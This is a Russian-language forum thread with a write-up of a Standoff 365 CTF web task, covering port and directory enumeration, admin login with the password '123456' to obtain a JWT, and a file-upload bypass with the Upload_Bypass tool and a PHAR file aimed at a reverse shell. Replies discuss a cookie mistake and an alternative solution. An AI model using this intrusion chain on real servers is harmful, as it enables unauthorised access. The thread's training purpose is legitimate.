ANTICHAT

ANTICHAT (https://forum.antichat.io/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.io/forumdisplay.php?f=112)
-   -   [WriteUp] Web-6 smashmusic.edu.stf 10.124.1.241 | Standoff 365 (https://forum.antichat.io/showthread.php?t=1644444)

Archivist 23.12.2024 20:40

Платформа : standoff365.com

Оглавление:
1. Nmap
2. Bypass redirect via jwt token
3. После обхода
4. Роботы на подработке
5. Руками
6. P.S от автора

Nmap

Проводим стартовую разведку

Из портов на сайте нет ничего интересного

Код:


Код:

PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
1720/tcp open  h323q931

direcoty через feroxbuster не нашёл ничего интересного

Код:


Код:

http://10.124.1.241/secret/
http://10.124.1.241/index.php
http://10.124.1.241/styles/
http://10.124.1.241/uploads/
http://10.124.1.241/js/


Роботы говорят

Код:


Код:

User-agent: *
Disallow: /secret/
Disallow: /core/
Disallow: /uploads/

Bypass redirect via jwt token
через перебор каталогов находим

Код:

http://10.124.1.241/js/
Cтоит обратить внимание на следующий файлик.

Код:

http://10.124.1.241/js/auth.js
Из него можно выписать следующие php файлы
1. сore/userLogin.php
2. secret/secretPanel.php

Из файла auth.js я увидел поля ввода данных ,а вводить нужно в core/userLogin.php
Далее чуть чуть причесал(добавил отправку данных в формате JSON + method: POST) запрос
И только хотел начать перебор паролей , как на 123456 все подошло

Код:


Код:

POST /core/userLogin.php HTTP/1.1
Host: 10.124.1.241
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Cookie: pma_lang=en;
Upgrade-Insecure-Requests: 1
Content-Length: 53

{
  "username": "admin",
  "password":"123456"
}

В ответ на этот запрос я получил jwt token

Код:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6ImFkbWluQG11c2ljay5jb20iLCJpc3MiOiJsb2NhbGhvc3QiLCJhdWQiOiJsb2NhbGhvc3QiLCJpYXQiOjE3Mjc0NDYzMTUsImV4cCI6MTcyNzQ0OTkxNX0.fFS_sVBsE1Xgby-9edtjByHPkq-AAmeZ_rfV5SzIKXU
Проверим через сайт начинку токена (site: JWT.IO) , увидел что токен Админский значит : нужно его куда-нибудь подставить

Берем нежно наш токен , чтобы пока несли не сломался
и идем в

Код:

10.124.1.241/secret
После обхода
мы получили страничку где можем загружать файлы , почему бы нам что нибудь да не загрузить?

Роботы на подработке
Решил проверить эффективность следующего инструмента

Код:

https://github.com/sAjibuu/Upload_Bypass?tab=readme-ov-file
Пример команды для перебора

Код:

python upload_bypass.py -r test -s 'file has been uploaded' -E php -D /uploads --burp_http --exploit
Содержимое файла test, было изменено в зависимости от документации

Код:

https://github.com/sAjibuu/Upload_Bypass?tab=readme-ov-file#example-2
Код:


Код:

POST /secret/uploadMusic.php HTTP/1.1
Host: 10.124.1.241
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------20454028017691591591771889877
Content-Length: 178827
Origin: http://10.124.1.241
DNT: 1
Connection: keep-alive
Cookie: jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6ImFkbWluQG11c2ljay5jb20iLCJpc3MiOiJsb2NhbGhvc3QiLCJhdWQiOiJsb2NhbGhvc3QiLCJpYXQiOjE3Mjc0NjA5MzcsImV4cCI6MTcyNzQ2NDUzN30.Twzf56dfM2tXd6ZDWfA35Xt_so3nXWHiZGHhBg6n9aw
Upgrade-Insecure-Requests: 1

-----------------------------20454028017691591591771889877
Content-Disposition: form-data; name="userfile"; filename="*filename*"
Content-Type: *mimetype*

*data*
-----------------------------20454028017691591591771889877
Content-Disposition: form-data; name="upload_btn"

Upload
-----------------------------20454028017691591591771889877--

Руками

В процессе поиска нашёл вот такую забавную штуку

https://owasp.org/www-chapter-pune/meetups/2023/Jan/File-upload-Vulnerability-Praveen-Sutar.pptx.pdf

PHAR (PHP Archive) — это формат, который позволяет упаковывать файлы PHP и другие ресурсы в один архив, что облегчает распространение и использование приложений. PHAR-файлы могут содержать PHP-код, библиотеки, изображения и другие ресурсы, что делает их удобными для развертывания.

- Исполняемость: PHAR-файлы могут быть исполняемыми. Это означает, что вы можете запускать их как обычные скрипты PHP.

Запрос При перехвате в burp и указываем payloads для нашего вредосоного архива

Код:


Код:

POST /secret/uploadMusic.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Host: 10.124.1.241
Content-Type: multipart/form-data; boundary=---------------------------20454028017691591591771889877
Content-Length: 706
Origin: http://10.124.1.241
DNT: 1
Cookie: jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6ImFkbWluQG11c2ljay5jb20iLCJpc3MiOiJsb2NhbGhvc3QiLCJhdWQiOiJsb2NhbGhvc3QiLCJpYXQiOjE3Mjc0NjA5MzcsImV4cCI6MTcyNzQ2NDUzN30.Twzf56dfM2tXd6ZDWfA35Xt_so3nXWHiZGHhBg6n9aw
Upgrade-Insecure-Requests: 1

-----------------------------20454028017691591591771889877
Content-Disposition: form-data; name="userfile"; filename="bob.phar"
Content-Type: audio/mpeg

-----------------------------20454028017691591591771889877
Content-Disposition: form-data; name="upload_btn"

Upload
-----------------------------20454028017691591591771889877--

После получения revshell or url?cmd Забираем их* флаг

P.S
Возможно Заметки/Статьи не будут публиковаться на форуме Antichat.net , а вот тут в формате Папки/Архива для приложения Obsidian - Sharpen your thinking , но на данный момент Архив пуст GitHub - username6345/writeups_for_the_reader: different ctf tasks or something else
Возможно еще увидимся тут, ... и нет) не там где вы подумали.

yetiraki 30.12.2024 20:39

Спасибо за райтап, но у меня есть странное чувство недопонимания одной части.

После того как нашли http://10.124.1.241/js/auth.js, посмотрели и прочитали его и поняли что там POST и username и password
и когда мы дошли до самого запроса POST /core/userLogin.php HTTP/1.1 то откуда мы взяли кукисы Cookie: pma_lang=en; phpMyAdmin=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.ey JuYW1lIjoiYWRtaW4iLCJlbWFpbCI6ImFkbWluQG11c2ljay5j b20iLCJpc3MiOiJsb2NhbGhvc3QiLCJhdWQiOiJsb2NhbGhvc3 QiLCJpYXQiOjE3Mjc0NDYzMTUsImV4cCI6MTcyNzQ0OTkxNX0. 1wjbTxu7rX-cLp6xX_asq7Ki4BzfD4IQChZSBKea3dM;
для получения других кукисов?

Надеюсь понятно спросил =)

ЗЫ
С наступающими праздниками!

Archivist 30.12.2024 21:06

Цитата:


yetiraki сказал(а):

Спасибо за райтап, но у меня есть странное чувство недопонимания одной части.

После того как нашли http://10.124.1.241/js/auth.js, посмотрели и прочитали его и поняли что там POST и username и password
и когда мы дошли до самого запроса POST /core/userLogin.php HTTP/1.1 то откуда мы взяли кукисы Cookie: pma_lang=en; phpMyAdmin=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.ey JuYW1lIjoiYWRtaW4iLCJlbWFpbCI6ImFkbWluQG11c2ljay5j b20iLCJpc3MiOiJsb2NhbGhvc3QiLCJhdWQiOiJsb2NhbGhvc3 QiLCJpYXQiOjE3Mjc0NDYzMTUsImV4cCI6MTcyNzQ0OTkxNX0. 1wjbTxu7rX-cLp6xX_asq7Ki4BzfD4IQChZSBKea3dM;
для получения других кукисов?

Надеюсь понятно спросил =)

ЗЫ
С наступающими праздниками!


Опечатка* в решени:

Когда мы делаем запрос на получение Jwt
мы меняем запрос на POST и добавляем данные в формате Json

Скрин 1 я получаю Jwt без куки(в решении забыл убрать куки и сделай скрин уже после решения когда они прицепились к моим запросам )что ввел вас в заблуждение

https://forum.antichat.xyz/attachmen...5578285112.png

После данного комментария из writeups была убрана данная деталь

yetiraki 30.12.2024 21:17

Цитата:


Archivist сказал(а):

Опечатка* в решени:

Когда мы делаем запрос на получение Jwt
мы меняем запрос на POST и добавляем данные в формате Json

Скрин 1 я получаю Jwt без куки(в решении забыл убрать куки и сделай скрин уже после решения когда они прицепились к моим запросам )что ввел вас в заблуждение

После данного комментария из writeups была убрана данная деталь


Спасибо.
Я себе и так все голову сломал с этим таском, а оказалось как минимум проще, чем я думал, но вот в этом месте прям завис.

PSY12 01.04.2026 17:50

У вас скорее всего альтернативное решение. По задумке, нужно было взламывать JWT-токен, который выдавался при нажатии на кнопку на главное странице сайта.

Die 10.06.2026 01:00

Раньше такие задачи казались намного сложнее, сейчас всё проще с JWT — подбросил, получил токен и прошёл куда надо. Раньше на перебор паролей тратил кучу времени, а тут "123456" сработал сразу, почти как шутка. Впрочем, с загрузкой файлов и обходом защиты поинтереснее, раньше такого не видел.

planar 11.06.2026 15:00

Пока не совсем ясно, насколько реальна эта простота с JWT. Такое ощущение, что где-то могла быть халтура или баг, что пароль «123456» сработал с первого раза — обычно так просто не бывает. С загрузкой файлов тоже подозрительно, что обход столько раз проверили, а защиты толком не сработали. Лучше еще пару раз пересмотреть логику, а не принимать за чистую монету.

Cgi-bin 14.06.2026 16:00

Раньше с такими задачами реально помучился бы, а тут «123456» сразу сработал — прям сказка какая-то. JWT сейчас, видимо, проще крутят, чем раньше, и багов по мелочи побольше попадается, вот и кажется, что защита слабая. Логику точно стоит перепроверить, часто там зарыто то, что на первый взгляд не видно.

Riaper_0_O 16.06.2026 00:50

Ну да, с JWT сейчас часто проще, чем раньше, потому и с такими простыми паролями "123456" залетает сразу — баги попадаются. С загрузкой файлов тоже обычно что-то недоделанное у разработчиков, логика тут ключевая, там много нюансов, которые на первый взгляд не видны. Проверка по несколько раз точно не помешает, чтобы не упустить мелочи.

Massive 16.06.2026 18:10

Сомнительно, что всё так просто с JWT и "123456" — либо халтура, либо баг в конкретной реализации. Обычно там не всё так гладко. С загрузкой файлов тоже часто что-то упускают, просто так обходить не должно получаться.


Время: 05:10